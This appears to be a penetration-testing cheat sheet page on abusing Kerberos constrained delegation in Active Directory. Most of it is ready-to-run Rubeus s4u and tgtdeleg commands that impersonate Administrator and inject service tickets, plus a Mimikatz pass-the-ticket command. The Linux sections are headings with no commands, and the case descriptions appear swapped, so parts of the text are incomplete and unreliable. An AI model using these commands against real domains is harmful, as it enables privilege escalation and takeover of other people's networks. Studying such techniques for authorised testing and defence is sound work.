githubEdit

Constrained Delegation

Constrained Delegation

Tools: Rubeus , rbcd.py , addcomputer.py , getST.py

Object: msDS-AllowedToDelegateTo

UACs TRUST_TO_AUTH_FOR_DELEGATION (With protocol transition (any)) / TRUSTED_FOR_DELEGATION (Without protocol transition (kerberos only))

1) Without protocol transition (kerberos only) msDS-AllowedToDelegateTo TRUSTED_FOR_DELEGATION

Any service can be specified on the target since it is not correctly checked. All the Rubeus commands can be performed with kekeo aswell.

Windows

1) Request a ticket for multiple services on the target, for another user (S4U)

.\Rubeus.exe s4u /user:user1 /rc4:<hash> /impersonateuser:Administrator /msdsspn:"time/<target>.domain.local" /altservice:ldap,cifs /ptt

2) If we have a session as the user, we can just run .\Rubeus.exe tgtdeleg /nowrap to get the TGT in Base64, then run:

.\Rubeus.exe s4u /ticket:doIFCDC[SNIP]E9DQUw= /impersonateuser:Administrator /domain:domain.local /msdsspn:"time/<target>.domain.local" /altservice:ldap,cifs /ptt

3) Inject the ticket

Invoke-Mimikatz -Command '"kerberos::ptt ticket.kirbi"'

Linux

This technique gives a Kerberos TGS (Service ticket)

2) (With protocol transition (any)) msDS-AllowedToDelegateTo TRUST_TO_AUTH_FOR_DELEGATION

In this case, it is not possible to use S4U2self to obtain a forwardable ST for a specific user. This restriction can be bypassed with an RBCD attack.

OR

Linux

Altservice:

1) HOST

2) CIFS

3) HTTP

OR

4) LDAP (No interactions)

This attack gives a Kerberos TGS (Service Ticket)

Last updated